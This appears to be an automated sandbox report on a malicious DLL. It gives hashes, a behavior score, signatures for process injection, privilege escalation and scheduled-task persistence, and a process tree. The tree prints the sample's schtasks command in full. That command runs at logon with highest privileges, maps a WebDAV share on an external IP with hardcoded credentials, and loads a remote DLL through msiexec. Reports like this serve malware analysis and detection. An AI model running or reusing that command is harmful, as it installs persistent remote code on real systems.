Analysis
- max time kernel
150s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/10/2026, 14:34
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
718be8e041e3c5e54943aa1bd2f8a03dc7965078b7c200fc8269437febfa2d8c.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
718be8e041e3c5e54943aa1bd2f8a03dc7965078b7c200fc8269437febfa2d8c.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
4 signatures
150 seconds
General
- Target 718be8e041e3c5e54943aa1bd2f8a03dc7965078b7c200fc8269437febfa2d8c.dll
- Size 803KB
- Sample261003-rxgrba1akd
- SHA256 718be8e041e3c5e54943aa1bd2f8a03dc7965078b7c200fc8269437febfa2d8c
- MD5 52137e9985f187f049474b093371c8d4
- SHA1 9b782213cdca453f074e2eb9b19f501ed75e4752
- SHA512 6a2cb9ad19ffd820bba1d6cdb290ae292470f5bb3ba024f1ecbf4c532d0e455ebcad929a54b0fb1b2a6e75ca4d22389d06003a769faa519677837bdf4860794a
- SSDEEP 12288:NYDB8XHu5Fz+p88fUGLta3TTkwUGN868h7Ibcf:NYDB8XHu5FzbcU2tOTRUGW68h9
- TLSH T105056D29D6694378D0369176EE420C00D732780D5784DFEB66805DF27E9BB94AE3FB82
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
5/10
Malware Config
Signatures
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3364 set thread context of 3928 3364 regsvr32.exe 90 - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4220 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3364 regsvr32.exe 3364 regsvr32.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe 3928 where.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3364 regsvr32.exe Token: SeTakeOwnershipPrivilege 3364 regsvr32.exe Token: SeRestorePrivilege 3364 regsvr32.exe Token: SeBackupPrivilege 3364 regsvr32.exe Token: SeImpersonatePrivilege 3364 regsvr32.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe Token: SeImpersonatePrivilege 3928 where.exe Token: SeDebugPrivilege 3928 where.exe Token: SeTcbPrivilege 3928 where.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3364 wrote to memory of 3928 3364 regsvr32.exe 90 PID 3928 wrote to memory of 4220 3928 where.exe 92 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\718be8e041e3c5e54943aa1bd2f8a03dc7965078b7c200fc8269437febfa2d8c.dll1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Windows\system32\where.exe"C:\Windows\system32\where.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\System32\schtasks.exeschtasks /create /tn "restart" /tr "cmd /c timeout /t 10 >nul && net use \\91.218.66.242@8080\DavWWWRoot /user:cfxsense cfxsense123 /persistent:no && msiexec.exe /y \\91.218.66.242@8080\DavWWWRoot\cfxsense.dll" /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4220
-
-
-
C:\Windows\system32\cmd.execmd1⤵PID:4040